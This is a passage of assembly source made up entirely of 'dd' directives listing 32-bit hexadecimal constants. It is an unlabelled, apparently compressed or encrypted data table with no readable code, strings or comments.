dd 870B39EEh, 144F78E8h, 0A3BF0803h, 0A8EFB44Bh, 9DE1AE30h
dd 74C4C088h, 141CFF46h, 0B4804130h, 3C9790A8h, 0A67E8100h
dd 0D0D3B760h, 114AC9B6h, 5556559h, 0CD139E4Dh, 676ABC02h
dd 48F444D2h, 2BCE453h, 922D018Ch, 0EB6C751Bh, 0BC542C1Ch
dd 0E30E8CD9h, 7C35788Dh, 536F5C85h, 8066F841h, 90326B5Bh
dd 205E5913h, 0CAA7B49Ch, 54ADD205h, 0C0A2E384h, 47306AF2h
dd 0D4160056h, 5054DF96h
dd 7D24D65Ch, 55854CABh, 2C2BB91Eh, 6B006923h, 9DC91EA8h
dd 357D2CCCh, 0B0902F3Dh, 845CF7AEh, 480A004Ch, 82954531h
dd 0D34D005Eh, 3A429F9Ah, 6612447Eh, 8C8BB952h, 5AC16488h
dd 0DC34BE9Ah, 12464079h, 8310A711h, 0E097F927h, 8880FE91h
dd 0B26CDB19h, 4E40148h, 0C617A675h, 64C43812h, 8C7AEA5Eh
dd 2E457C2Ch, 519C802Ch, 982FA149h, 0E001F7Eh, 0FC529721h
dd 9E3929C7h, 3F710C30h, 0CF497B31h, 442B0034h, 780F79E3h
dd 2577063h, 5D2FBFD3h, 5E403DDEh, 0F000497Dh, 0F329453Ah
dd 9679A695h, 40465EE0h, 3FC8EE04h, 76D4A04Bh, 0CC7720Ah
dd 3128BC66h, 0DC496AF3h, 220E1F2h, 8605839h, 0A69623F8h
dd 5A081282h, 63D5F864h, 0AD80D9DDh, 94501827h, 6C159518h
dd 6780D591h, 33A65611h, 0D060D65Fh, 24B7618h, 0D91C099Dh
dd 0DCC71069h, 3D606444h, 592C05A3h, 3542A86Ah, 891848EFh
dd 4CB7056Dh, 0C009660Ah, 5BFB6981h, 0C50028E7h, 54F4ED4Ah
dd 0F86C0055h, 0E1C8F2EFh, 50BA3B61h, 184A770h, 57AD499Eh
dd 0E84AC3DBh, 932C74B4h, 9A4BC096h, 66C0C030h, 75D580F7h
dd 84DD2B28h, 81FAEE09h, 0F19C79E9h, 821804h, 0F0FE73CCh
dd 358805A6h, 4921F961h, 2870BE6Ch, 0AD4D00D6h, 1A721BA1h
dd 0C61A607Ah, 0B7A87416h, 485C9CA0h, 5F935369h, 3947888h
dd 0A49151C0h, 7EB2CF72h, 0E10284C9h, 0DB4D004Ah, 8F4E4AC4h
dd 0C06A886Ch, 38D20113h, 0CF907305h, 0DC04BD35h, 664165E7h
dd 695219EAh, 69F01120h, 5324D53Dh, 93401164h, 0CB694881h
dd 0A38E2863h, 9A21AC20h, 0C102C317h, 23864DDDh, 226849ECh
dd 0B9E1C910h, 8D794162h, 2CC407h, 72776AA9h, 3C5193D8h
dd 1E3FC700h, 0B3A5CFCEh, 0D4A797E4h, 60462F66h, 2260B076h
dd 0A264DD40h, 0C170BA18h, 25E1FB50h, 4968835Ch, 0BA4A3569h
dd 536048BDh, 0EFF71D74h, 0E1D28502h, 3980C0DFh, 8E615569h
dd 56ACCF49h, 1F758841h, 0CB7C162Bh, 0C04BC890h, 0FC71DDE2h
dd 12DE1D3Eh, 88A0BE01h, 0F89F0F76h, 0B81494C1h, 3A8CD8E8h
dd 238D606Bh, 50D8E8CAh, 0B8A772C4h, 202A6F41h, 10B0A5CCh
dd 41E35C00h, 0CA58D482h, 6A3C1AD7h, 479F0FAh, 31186879h
dd 0EF65990Fh, 0F217200Bh, 9C1601BEh, 0D24A0448h, 22D8ECB9h
dd 3C6948BDh, 8D012520h, 0ABCD81F2h, 10309766h, 35801389h
dd 4B4002CAh, 4879D3F8h, 403AA826h, 68920A14h, 94A4E60Ah
dd 9D23CC93h, 420F9901h, 3F18ABDBh, 3E911388h, 48F2370Fh
dd 1C8B454h, 9A9548C0h, 2F642DD5h, 93001014h, 41FE9540h
dd 120B682Ah, 0A2D7F863h, 6E130438h, 1C84D27Bh, 0F20488h
dd 2ED1CEF7h, 1775D981h, 220AA69h, 2064EB0h, 8071CA4Bh
dd 0A174468Fh, 7A3E5AC4h, 9D4C412Eh, 3457D5CDh, 5E37DDC4h
dd 6DB13107h, 70206F67h, 0BC6412D7h, 0C7C1F73h, 741AA6Bh
dd 0AC0EAF12h, 47F240B2h, 1FC22F30h, 4564CED0h, 82F10992h
dd 5C54CFE4h, 0DCD1F88Ah, 0E8D2864Fh, 40E09E19h, 57EA8AB7h
dd 4FAC9F02h, 0C585F2E5h, 63DCE49Ch, 432E98B3h, 2D9E00F9h
dd 0B47FB22Bh, 952CF4A3h, 0B109CCADh, 862884DCh, 0E6AC40BDh
dd 22C99000h, 0FB6D64ADh, 4655143Bh, 704CD40Ch, 5C517C58h
dd 0D110E2FAh, 1D1CAC5Ch, 8281133Fh, 38718064h, 24562118h
dd 0F677D7h, 2DB322FCh, 5CDD3AA3h, 5080724Fh, 2AF24AA8h
dd 0EC5A07h, 0B77530Ah, 6AEE25DAh, 3D8BBE05h, 74C1AC8Ch
dd 99007B3Ch, 5501A8B4h, 694DAE1Bh, 703B4EB5h, 97AA428h
dd 4639D00h, 4F8ED18Fh, 72B21286h, 0C8F8CF2Fh, 0E88DC0D4h
dd 1E4EEDD1h, 0DD27E091h, 0E1E9C043h, 50344CA1h, 1E6C90F2h
dd 32D8CFAFh, 8E1ABB8h, 0E77B1157h, 271D5980h, 6A9A1833h
dd 88230600h, 58D35562h, 7B3B249Fh, 0C4754034h, 672EA949h
dd 1027DC8Ch, 6518034h, 0B5215D36h, 0D01D70B7h, 64C0E733h
dd 41A91617h, 72B30ED3h, 0AF84A27h, 509CE4D7h, 0CA01FB03h
dd 9FB90D56h, 301875B0h, 0EA41021Ch, 0C2BD242Ch, 0EA358E30h
dd 0C24C4A25h, 9630A0BCh, 0DB43120Fh, 0C0F8F293h, 960F8E14h
dd 6B070017h, 0D63E3B01h, 0E659C3A5h, 4F4210B8h, 79038443h
dd 647AA7F5h, 0C9C4B381h, 0CACA8112h, 0D807B201h, 98EC2870h
dd 0EC524508h, 297E3A61h, 0BC1CE8D3h, 690A67D0h, 0A78CC9D2h
dd 18CE84E6h, 7884904Dh, 55A9214Fh, 0E0FC6204h, 0E47C9462h
dd 5C903CA0h, 40771723h, 59EA68F2h, 0D77451C7h, 81098334h
dd 68E448C5h, 0D2E8F563h, 0DE058948h, 9A553C62h, 954D08B0h
dd 77A6DC10h, 441DA406h, 9CDCB2FCh, 4809FC90h, 86F5104Dh
dd 6091D520h, 5323F44Eh, 0BAF9D8F8h, 0AAD02731h, 700C50A0h
dd 0B736F17Ah, 80A21027h, 28102F8Fh, 0B700AB79h, 13B4C95Eh
dd 70C8CAh, 4723740Dh, 10616644h, 0ACF18C28h, 88CF7228h
dd 58B050D0h, 5CCC1020h, 0EC636700h, 329D39F0h, 2D1DD307h
dd 0C20AF7Ch, 1DA0DAD0h, 80646AA4h, 0C90FB34Fh, 92A1E9h
dd 910E94F8h, 23EA578Bh, 1004E203h, 95D2520h, 87DF4E78h
dd 86BF64A0h, 71393785h, 5BF70E7Ah, 0A8619132h, 0D0CD9A6Dh
dd 0C00246EDh, 9634DD09h, 80D08F0Eh, 4C5862E0h, 65590BE8h
dd 2089E7F0h, 98A87818h, 0A48DC700h, 0AF33917h, 0F2EB00C3h
dd 2AA3A026h, 681D2B38h, 0C7C9C23Fh, 91EA80EAh, 0B67E6Dh
dd 2578FA5Ah, 0ED7CC559h, 19AA9418h, 0E299D39h, 0B7C0186Bh
dd 34E6EAE1h, 67188F90h, 28703FB3h, 0DE9BFE82h, 33500030h
dd 67F0AA47h, 83886100h, 417DAF16h, 0BD4600D4h, 53938540h
dd 146032A5h, 0A25B9041h, 6B420001h, 8103CA7Ah, 0D01E2A9Dh
dd 19C04BD8h, 5D351E0Fh, 8871B0h, 2A66C917h, 7E46AE20h
dd 119D3D0Fh, 12A8988Bh, 23180767h, 511975FFh, 0BB25F1ADh
dd 0EBFA00D1h, 44C18A4Ah, 96E07B4h, 0E7EB55Ch, 2CE07F4Fh
dd 719F2F38h, 0F9417A32h, 0A5394023h, 21281827h, 0AE12F97Eh
dd 0BF51A1Fh, 0A408FF86h, 0ED8F0118h, 0D5E531F6h, 509CC142h
dd 0FF09F08Ch, 0A2772400h, 11431E3Fh, 0A123009Eh, 74FDE1CBh
dd 29F276D6h, 782BC330h, 7FF1BDh, 1B27A39Fh, 0E8925BBEh
dd 3D054107h, 960AF1Ch, 58E2C811h, 600083A7h, 89B85A7Ch
dd 93E87E94h, 105B4931h, 781877AEh, 0A422737Ah, 7EA10C1Ch
dd 33415FB4h, 843C6B15h, 88428304h, 0DF10033Dh, 515B7899h
dd 0BCEE2100h, 0BABD6916h, 0A3F30079h, 453EDE75h, 581E2703h
dd 3C5835A0h, 0C0675B49h, 9711F539h, 63007DCBh, 0F2E6E07Ah
dd 0A0691D14h, 337C373Ch, 52816A9Dh, 0BAE1903h, 0D8176F90h
dd 1D53FB7h, 2EB46403h, 809ED1EAh, 198A5531h, 0C2E736h
dd 1EBDDCC6h, 8B6D16BAh, 0A2D09A19h, 11307329h, 77200078h
dd 5152D899h, 0F9C383BFh, 545D41h, 0AB47C579h, 9D0B459Bh
dd 617DCF03h, 0D0A4164Eh, 2210EFh, 3A5BD903h, 0F1839891h
dd 5CC93860h, 6A1F240h, 658157B3h, 306009BDh, 0F5687C21h
dd 1D361539h, 660C943Bh, 8C2143F3h, 58FDA601h, 2ABE2DEEh
dd 0D78960F6h, 5F1C00B2h, 0D596D1BAh, 0D0306C69h, 0A1934134h
dd 284C01F9h, 0BA9C5EA6h, 4B0898A5h, 4797321h, 7054B0F9h
dd 0E63EC19Bh, 871803Ah, 0F22ADA0Dh, 0ED6638FCh, 0E3A6440Fh
dd 8CCC98AAh, 0A8491F7Bh, 41CD150h, 0CB0E7503h, 0B7211AAAh
dd 955C6DC3h, 684BA040h, 6D26EC4h, 0E81FBC95h, 3430087Dh
dd 6FA4203Bh, 1098C3h
dd 380D199Ah, 0F1EB6C8Ch, 79613567h, 0EF631450h, 0CEB200E4h
dd 0BE67DFDh, 0D8A8FC13h, 54005C2Ch, 603DF242h, 15C04A69h
dd 0AC4812DDh, 4B50D00h, 5EB6EF37h, 54A899D8h, 6304865Dh
dd 7DD28BC4h, 21006263h, 1BC36AABh, 0F2018D56h, 607C009Dh
dd 4B0F77D4h, 4D3ABFDBh, 0C6EE0028h, 3DB4B010h, 7935124Eh
dd 0A42C2012h, 65012C71h, 3F45E772h, 8987C19h, 8B4A2181h
dd 91B2C00h, 3ED03839h, 816F6048h, 9CFC8F5Bh, 61AD9F00h
dd 1631626Ch, 14290CA5h, 0EF402044h, 0F0182150h, 0D4A03155h
dd 0B200CAF1h, 65B8B718h, 113AEABBh, 2BAC16Eh, 0CB9F1EE0h
dd 92C44113h, 25F26422h, 30E1330h, 77F8EEFh, 0BE62A964h
dd 0F4199E21h, 13770161h, 20795F08h, 9C881E74h, 9EF50019h
dd 8782C698h, 0B600A9C2h, 95EAB98Ah, 9263C150h, 7AA88170h
dd 2C088C18h, 0C46F7262h, 82434080h, 0B0E6602Ch, 0AF033EFBh
dd 0DFE47380h, 20C6EF66h, 7B46D4A6h, 2963C440h, 112C7772h
dd 854400A7h, 47FDF12Ch, 414294Ch, 53B408C0h, 0BFBA8B80h
dd 19F9E35h, 9B7885DDh, 20496D03h, 6C407DF8h, 27D222A8h
dd 4C043713h, 51BC23h, 0B62FC349h, 53EC9ACBh, 4D4B3D0Eh
dd 9468C065h, 387C01Bh, 584FDDBBh, 0A1008214h, 0E7C85E9Fh
dd 16A474h, 5D2C7F02h, 8793D03Bh, 71C0B100h, 0FB24B78Ah
dd 3D2499B9h, 0F97E0246h, 338E2845h, 20764ECCh, 339951F9h
dd 2B8FC0Dh, 0E710F23h, 460A9FBh, 7400A3DFh, 2BA48A63h
dd 3C9D495Dh, 5E01FC7Bh, 0CC87D383h, 800CF0Dh, 388B2D1Bh
dd 4DE3A8C4h, 445038E5h, 41028C8Ah, 0AFB3A2F2h, 1022197Fh
dd 0EAF5697Dh, 0A38A1C83h, 1F14812Fh, 20275597h, 0A94C156Ch
dd 0C9FD80F0h, 9DE142h, 0CCC36070h, 0E96E48E4h, 7340DF01h
dd 26C8E6BDh, 0A373886h, 0B8C0F93Dh, 179FCABBh, 341E009Dh
dd 70129C42h, 520A6A7Bh, 0E839E9A6h, 9A3B644Ch, 20433F74h
dd 95B38180h, 2F2A8BD3h, 70A96600h, 0E9F286EFh, 0A6410C67h
dd 0CF486B17h, 190998Eh, 0F3B1CEBh, 85E5E8B6h, 4168A11Dh
dd 1E4A7919h, 6E2912DFh, 0C16827B5h, 32B350AAh, 7F541E34h
dd 8D3E4D00h, 121362A3h, 606F69DAh, 3FF9A000h, 605E2810h
dd 58BD4CC8h, 42611924h, 7D208EC6h, 0A8EC0006h, 51BC7867h
dd 66ED3A74h, 0C4661F04h, 0C485D288h, 6DA6403Fh, 0E4C2FEC3h
dd 37DA00C9h, 89E6E22Ch, 0B9C0FB12h, 0DB20A656h, 70581DB9h
dd 1E8B89FFh, 74A02C20h, 61FF18EFh, 13A4C819h, 3B39F060h
dd 94106Fh, 1B8B0E67h, 0D2D5E8B4h, 45F20202h, 90211936h
dd 0AD4F0h, 9BC64304h, 85C2376h, 3EB3EF18h, 146A8BA9h
dd 5C364841h, 0F6C59C00h, 0ED0744B2h, 0AB2B3Eh, 0C0F932Eh
dd 205480Ah, 0FB8A9B6Ah, 3CC143C2h, 648C5869h, 0B6B30F97h
dd 1A83C38h, 4B7C36Bh, 2079401Dh, 0D905B697h, 0D5828FD2h
dd 4923DC2Fh, 0CC1D4600h, 58A898F7h, 582E4EBh, 344BEED1h
dd 96E5823h, 85FF99Fh, 46442CAAh, 0F9777940h, 2090ED4h
dd 9F251CB1h, 8032912Ch, 0EB799602h, 51640A8Bh, 8CE4ACB8h
dd 0F52943D1h, 1307E0C0h, 0C32990h, 9D2A41C5h, 870662A6h
dd 0D4FC1E48h, 1D8678E0h, 29EE3C3h, 944E1CB7h, 4C11549Dh
dd 39736880h, 0FB1709E2h, 3008352Bh, 34DF836Ah, 3117206Fh
dd 9837D4A8h, 908103E4h, 650C5D5Ah, 0D271C408h, 2163C68Dh
dd 0C374A900h, 9455F2B3h, 19F0603Ah, 0C1E75F6Bh, 89A8CE01h
dd 30BED2ECh, 0F4E16C64h, 292E62EDh, 0A4A09415h, 0FBE3DA75h
dd 11314505h, 0C180B30Eh, 126054C4h, 8878B6E8h, 0F91C4EBCh
dd 2A42CD1Ah, 0A3D4FCB8h, 2FD130h, 618622E1h, 4C9449D6h
dd 25B548h, 5E88C3F3h, 4FF3B8Fh, 0F564CA2Fh, 80809B73h
dd 0F0BBC088h, 921B16FFh, 0CC7C071Dh, 0C0892726h, 0A30F2906h
dd 8ADA8C02h, 909FEF9Ah, 48B903C4h, 2924824h, 353FC18Ch
dd 764628E4h, 662C7802h, 8C31CF72h, 2C6E5710h, 24ED105h
dd 74C1FBA2h, 0B2103FCFh, 0D40BD9DCh, 18E079F7h, 59994720h
dd 8623683Ah, 7EF24500h, 86814FB3h, 6DE82E45h, 941F6BF5h
dd 433AA804h, 2CA7D108h, 0B057E1h, 0A3E02C2Ah, 10034319h
dd 4A5E79EBh, 31723Bh, 0B818CFC4h, 0C6D1A873h, 0E0C3E828h
dd 49C02178h, 0B15A5719h, 50373E6h, 0A6D1A3BBh, 0ABF44034h
dd 0AD86158Bh, 90FCBC00h, 0F26A1FD2h, 0D039247Bh, 0CFDB6708h
dd 0F613BADEh, 6304048Ah, 1D6809BAh, 3B360878h, 430EBF61h
dd 3D93E7h, 0AFBBEA19h, 0F447DE58h, 0F6B28C03h, 0F0248B46h
dd 0F26DDF82h, 48CBA18h, 359976F9h, 0BC30C803h, 7B9B2003h
dd 0F471F2FAh, 4D07CE3h, 0B9E8BFh, 0D0E2611Ch, 0BCE72296h
dd 7B6464E1h, 0EA383042h, 51678382h, 6C7AD127h, 0B00777Eh
dd 8B013D24h, 0B88AE963h, 6933001Dh, 0D66F96D4h, 0C5008191h
dd 3C18DF0Dh, 7BC22B47h, 699A07E6h, 178FBEBDh, 0D267621Bh
dd 6300AC7Ah, 4F7585F3h, 17C214Ah, 0BC414DAAh, 39128ADEh
dd 7853FC4h, 4CBAAE28h, 0BD768DE0h, 0E06000D9h, 1C360B26h
dd 0AE00D221h, 3DB3328Ch, 3063B675h, 0A6181B84h, 60823758h
dd 0A82FF390h, 34FA088h, 61E61404h, 0C0B064A4h, 4B1E7F82h
dd 6C8A448Bh, 0B0119489h, 41199E00h, 73D14592h, 100068BAh
dd 257B7481h, 31AA2E9h, 343D021h, 1100E8B7h, 0D3C46667h
dd 4D56CEEEh, 0A80E68CDh, 58209878h, 0BD2D0618h, 0EC71CCA8h
dd 0B401037Dh, 478D3B3Fh, 0B6ECF98Bh, 0E852617Ah, 5098B26Eh
dd 0E71EEC8Ch, 0A10A7630h, 3188647Bh, 0DEB8E0B1h, 15B841A1h
dd 1A3180CEh, 0EF3A9D51h, 88C600B7h, 7D4ABB9Bh, 691E35E5h
dd 4C838502h, 0C83EA322h, 2EBCE8h, 96CB570Ah, 94C558FEh
dd 0D50F1AFAh, 9E5EF44Ch, 54851830h, 0ACE10A0Fh, 0D8204D06h
dd 598838D7h, 99300F8h, 0A53B85Ah, 0E74CA41Ah, 82E3079Fh
dd 3C05B05h, 0AA121Ch, 81EC30EEh, 8FA523D6h, 0D82039D1h
dd 419EEE81h, 52140831h, 2F807F03h, 9846D40Bh, 10CA2F9h
dd 53CF9D4Bh, 0DCE35996h, 0FD01638Dh, 4523069Ch, 34560A46h
dd 80495408h, 0E43F4605h, 9C1FA03Eh, 84007B69h, 0D3681720h
dd 6324CA14h, 0F062EC7Fh, 1764580Bh, 50AF2E94h, 602A0A0h
dd 0ABF9DBDFh, 24F04440h, 157F803h, 11B92992h, 11074629h
dd 3021DAACh, 0B510231Ch, 941C3A21h, 0E30C22A2h, 22121822h
dd 0C0220D3Eh, 4609FFD9h, 0F22229D5h, 8979730Ch, 449608F4h
dd 588F619h, 0F1250043h, 57635D93h, 0A609C474h, 1B616h
dd 601C5B5Fh, 262D00A8h, 6A4B9FECh, 8C1E5F22h, 0CA8068ACh
dd 0EEE5A5E6h, 0B1130011h, 15F02C34h, 4200FCFDh, 3B38DF7Bh
dd 70B2BCDh, 6440F114h, 5A51F0B3h, 0D7005867h, 0B7F64E37h
dd 74C0587h, 2C9F8E02h, 0A5A0AFF2h, 93A75396h, 3EE2E138h
dd 6C880C0h, 89B3488Bh, 3CFCEADFh, 85BF7282h, 68339500h
dd 4087B2E3h, 7A693D00h, 2DEC6C2Fh, 0A73B1E34h, 9A994060h
dd 71AC1C8h, 46550A00h, 0C4C0E2AAh, 223A0083h, 4FAEF05Bh
dd 0A90FBB78h, 0E011E71Ah, 0D9CB3D69h, 7C7D00A0h, 44E8C71Dh
dd 151E6B14h, 0B2402B23h, 3D48A3F7h, 56E2CDh, 0DB17C4D2h
dd 0CB058F55h, 2DE40D00h, 0C99212Fh, 0A9F01DFCh, 0D55DC078h
dd 8B54905Eh, 8C4B230Eh, 685F400Ah, 4620C9Ah, 0DC0FEB18h
dd 0F055C0B8h, 0DA269050h, 9F3FA3B5h, 3C0FE07h, 5509650Bh
dd 97DB2442h, 1B4E005Ch
dd 3FA8B623h, 0AE06A200h, 5C02B35Fh, 0DD7B4Fh, 74239E68h
dd 0FC8C734Eh, 8607477Fh, 2408B60h, 5CC92570h, 10896097h
dd 18FFCEC5h, 16AAAC07h, 22808ACAh, 3D0B54F8h, 1C009230h
dd 0A18F0208h, 5D020C83h, 0FC313998h, 1A00FA0h, 136A2FD6h
dd 0C201D475h, 0D589C0Bh, 0A86DC872h, 57383B00h, 8E4C964Bh
dd 990BB400h, 0AE918F8h, 86CB073Ah, 9FE0B98Fh, 2B0510B8h
dd 401A6D00h, 92E309D0h, 3C49EF7h, 0BB7F0861h, 0A4D3F098h
dd 0D75851F0h, 2C0074C8h, 1A5CDC57h, 7E5DF148h, 0A7537h
dd 655627EDh, 0D2B0C8D4h, 0F21A1200h, 5B59B814h, 0E22B00E1h
dd 0C98A39Eh, 2E00C72Dh, 21EB27AEh, 3E6DEEC2h, 600B118h
dd 3FFB74F7h, 73FA68ADh, 0C0521400h, 7CE735CDh, 0FC3D1C29h
dd 59B0C13Ah, 0F08F7DBFh, 0A103EBD2h, 0E311DC31h, 70790015h
dd 0B6226740h, 1F0134C7h, 0EFDADF33h, 0B8786C8Fh, 0A0620070h
dd 17A9AA95h, 0DDFEE7C9h, 80292338h, 6F684898h, 3E9A58h
dd 1E85E0D7h, 80CB9F53h, 0C8C119FEh, 6D46DCD5h, 0C1F5DCh
dd 0FEE60931h, 25520314h, 53B3B500h, 2061621Bh, 316B00EEh
dd 6802F808h, 0D61D9C8Ah, 22C04176h, 0B7C2A73Ah, 0E1F86Ah
dd 32A4E9A2h, 0F2D6ED03h, 284248h, 0AE9AB7F7h, 7A3FC72h
dd 4F4A5E3Fh, 0E224308Ah, 57486F2Dh, 2CD401B4h, 4658227Eh
dd 68261F8h, 0BA79B4CFh, 0C400E891h, 2F3B3ED0h, 0E1E36Dh
dd 89CD8C5Eh, 3CDF9F05h, 7D7C3F3Bh, 8928F7Bh, 51D21D03h
dd 3F8A2545h, 0D89F0AB0h, 542200F1h, 0EA268C0Eh, 0D0B880F5h
dd 9B112F56h, 0ED8A0C87h, 8918E702h, 0DB981A07h, 63313E2Bh
dd 280C8D1h, 9571877Ch, 9B24C167h, 0C20F10A8h, 0C0740F3Bh
dd 6AC5E737h, 9C407E3h, 20F1DA97h, 8A16F296h, 0FDD6A807h
dd 0B397A2D3h, 4500D64Ah, 518FCAAAh, 577C0069h, 8E899DADh
dd 55059664h, 8A66E025h, 3B58C2h, 271A9A07h, 57DAB300h
dd 9914609Dh, 2F200EE0h, 72A41F05h, 130C03Fh, 0B3335DD9h
dd 1C8D2231h, 3B4CDA70h, 0CF41D80h, 53A76605h, 3AD6FC02h
dd 48ACAE3Eh, 9D16DCh, 846FAB86h, 817AA1D8h, 0B3B47E1Fh
dd 5BAC05B9h, 0C6B0B22Ch, 0BA570080h, 3F75FFC9h, 0BF0332F8h
dd 34265808h, 0D954986Eh, 72A67E46h, 0ECA37724h, 5C43034Ah
dd 3D9DF06Fh, 126288F0h, 280987FCh, 80CE327Ah, 0AB533124h
dd 7977032Dh, 294C639Bh, 4E2362A0h, 6864A30Fh, 5AACC0FCh
dd 1DB551Dh, 0DDF56D82h, 71FEC6F6h, 0D51681C8h, 7086C7B3h
dd 0D126CCh, 0AC93776Eh, 7FE3E261h, 80E0423Bh, 0ADA8B45Eh
dd 0BDEBDD03h, 4B77C880h, 760B407Ch, 6073F6C5h, 86A9E0h
dd 0C9D14590h, 61133DCDh, 65E30400h, 8EAA417Eh, 7C8200DFh
dd 634A5C89h, 9400A0D0h, 0D3E12C23h, 380B69F8h, 3D81AA02h
dd 4A710547h, 48A460ECh, 0E0BEB811h, 0CE605000h, 0DE7FB530h
dd 0E63D3490h, 9413A986h, 15475E01h, 9B30ED52h, 0E8EC1E07h
dd 8A4E00D8h, 38306035h, 1940A400h, 7F65B35Bh, 62D938B8h
dd 76944B02h, 0E1609A81h, 493FB2CFh, 664582A0h, 422B264Fh
dd 5B38409Dh, 6BF3008Dh, 7691D667h, 9A002F96h, 0BC74A7E6h
dd 48C44FBEh, 0DF803015h, 0DCC95733h, 1C756178h, 0DD200A01h
dd 0B1F1BC82h, 0B05D6E8Fh, 12686E20h, 86010EEBh, 0F46D170Dh
dd 8478BBF1h, 0DFD2C000h, 3A9A04B0h, 6D390F00h, 26804E6Eh
dd 0B98D00BBh, 0DE9BE0D3h, 0FE00B3BCh, 3F143CC7h, 57FD01h
dd 0A5A342A1h, 0B75A84E1h, 4EDEF400h, 8DF0CF05h, 3E4F000Ch
dd 0B021F6A9h, 64123607h, 2800E5E3h, 0D435F5F9h, 40470409h
dd 0C0DFE4D9h, 94CC89A4h, 0C443DC00h, 0FDD8412Ch, 74C370FAh
dd 640B026h, 5C0A2BB5h, 6000C096h, 0A490C073h, 0EE1B46h
dd 2F4E0CD8h, 6D9ABA1Fh, 0C0885B00h, 801D7E7Bh, 762725Eh
dd 1CA89E79h, 0C2E200B4h, 26014205h, 7ED495EEh, 0AD0003EFh
dd 3D1C2EECh, 504A87A9h, 1C0086A2h, 4BE5F2CAh, 0A03201FCh
dd 0E2082E9h, 95EFC80Ah, 0FFCB3E00h, 0D5A2DFEBh, 2CBF7D43h
dd 806C2CB5h, 732E925h, 48009A67h, 64C0E801h, 7761DCCh
dd 0B67873A6h, 0A0B2C01Eh, 9900FF24h, 102CD620h, 0FDDCB0h
dd 4171F906h, 260A544h, 995D0B02h, 90788C54h, 0CE4CC4h
dd 0A8BC4F0Ah, 0E037C8Fh, 4FE048h, 0DB62CB0Dh, 0CE4F8F1h
dd 1F95AC36h, 0C4289772h, 882CA89Ch, 0CC0079CBh, 10652A9h
dd 46A70545h, 0AED31247h, 0B41878C0h, 0EB9400A6h, 2C04D0C6h
dd 0C5001007h, 8B4B494Fh, 28D8A9Dh, 0A70CAE62h, 0A8856976h
dd 0FE80C355h, 0F43A33C9h, 0DB00309Ch, 59295E5Bh, 0CE84A2h
dd 1E587FA3h, 9F907A76h, 6679BC07h, 0C8D3CF3Bh, 0BAE9C89Eh
dd 6AB1888h, 0F73011CAh, 5FC6CE0Bh, 1D0800A7h, 316499EDh
dd 96108FD5h, 31E1E441h, 0C8456700h, 0A2CD2EC5h, 8AD30798h
dd 501ADDB6h, 11BD8B2h, 968C1913h, 0A0499883h, 0BDD2Dh
dd 3A8767BCh, 0B0449922h, 7A606090h, 1DDB1210h, 0BF0D280Ah
dd 0FCD718FAh, 51A0486Ch, 1CA56A40h, 0C0542D28h, 761896D0h
dd 0A2024E87h, 865915EAh, 0BBB685DAh, 0A534A7C0h, 339000FFh
dd 0E9A1F4D3h, 0C302FDC1h, 0A44397EDh, 14D448F2h, 20E16E15h
dd 0CF1366A2h, 7D6F7EE0h, 0D90B8374h, 578AC6h, 0FC8BD75Ah
dd 0F9F7001Bh, 0F0A1A922h, 0D403E369h, 0E7267BCBh, 8B60E033h
dd 0B6AA3934h, 5003FAB8h, 0FF7C57A9h, 5C1F7FA0h, 0AE1C7024h
dd 0F4739500h, 0F99FCCFh, 1B7BD809h, 2810CA80h, 0CC020A9Fh
dd 804C4866h, 5F0440A4h, 243D074Fh, 2555A7E0h, 5708F068h
dd 95EACB03h, 0B0280B03h, 66303Bh, 93DEF10Ah, 0D022B04Fh
dd 735B8200h, 0C602AEA8h, 2C4B9E6h, 69639D30h, 61D69420h
dd 0D81000A4h, 1CBD8E3Ah, 160B2FD7h, 8ED02B0Ch, 6794C234h
dd 6E54E18Ch, 0B984B3CFh, 5074F727h, 5977D5h, 6B30D6CAh
dd 0ABD8322Bh, 92308B63h, 5A52888Fh, 58D43C65h, 0B81FED80h
dd 8A478BBCh, 10828000h, 0F031A660h, 77800B7h, 441FDFC0h
dd 6BE446A9h, 0E2131601h, 0CBE770D0h, 0F6431E8h, 5E932934h
dd 0C999A80h, 0C6001CE0h, 0F456596h, 0B3B8AE7h, 3858C3CBh
dd 0C4F5480h, 0F85D48E3h, 0FD4877C0h, 0C31400A8h, 0A8495DFCh
dd 8BF1C767h, 8C7731F9h, 0B169F872h, 0B68FAA00h, 766291CAh
dd 94C01319h, 0C44407A0h, 70DB609Fh, 0D1634AABh, 0BF857940h
dd 781B7C0h, 5E330203h, 0E7CB3AEDh, 99B2CE0h, 468BA05h
dd 0B081223Bh, 15C02DEAh, 0F46E00A3h, 49E7C6CBh, 0EE715210h
dd 0A4009976h, 0E1317A9h, 116D2F1h, 0B8ED20DAh, 0E0FDD719h
dd 320086E0h, 2DF52F57h, 0C5FADEh, 1D3DD246h, 0F30C07B4h
dd 7D9EEE1Fh, 0D700C726h, 485E4223h, 0EFA44h, 0F4FDD0FFh
dd 3DD8DE9Dh, 5D396403h, 0C00862DDh, 0BE307888h, 67340774h
dd 12793074h, 0BF0059B7h, 0F29AF9E8h, 0DB36A6h, 2F75683Ch
dd 0A354115Bh, 73914C00h, 0B5518BE2h, 36C60024h, 0EA023E16h
dd 5B138639h, 740067DBh, 0FDB27109h, 0F13416A8h, 7DA8493Eh
dd 0DBF49464h, 0F3F63D1Fh, 378D09h, 1D5C7C5Bh, 649317BAh
dd 6960001Eh, 0C13134EBh, 0FECD090h, 0F9496A00h, 0BE78A33Dh
dd 5680012h, 22DDDE8h, 50EA98F0h, 0B05F4E01h, 3A58BCECh
dd 4B007ABCh, 29E01555h, 0D200340Bh, 0AD1A08B9h, 0E1C48D7h
dd 0C4212E1Bh, 2BC9EDEh, 0BE2A0451h, 5CA0888Eh, 982D30A6h
dd 376AB700h, 0DA5101E5h
dd 0FBDB2EE1h, 66190068h, 0BD537F39h, 14A8C400h, 16C96C78h
dd 0BBD30126h, 90B1A174h, 42E8206Eh, 38A6D4A3h, 3C9DF500h
dd 0CCDA4897h, 6D6300F6h, 0C07282F2h, 200034A2h, 86572DFEh
dd 5F2751h, 8132898Ch, 9DAD91ECh, 84349524h, 778B4880h
dd 0D1727Eh, 18AFB10Fh, 50F10BD5h, 3130900Eh, 0A682A096h
dd 0DDB8BEh, 24776A86h, 4410B0C9h, 0D5F3F501h, 0CD30337Eh
dd 0EA2879ECh, 5B1409FFh, 0E080F816h, 2BD8A684h, 0F76C851Eh
dd 0ABA3F980h, 713ACB2h, 1EFC55FFh, 7A1F18Eh, 1D9420BEh
dd 10B4B500h, 19702BEDh, 578F00CCh, 490C0822h, 141D3490h
dd 0E05E940Eh, 0F50BA0C0h, 31AFDEh, 0D96DE3FEh, 0F8923A42h
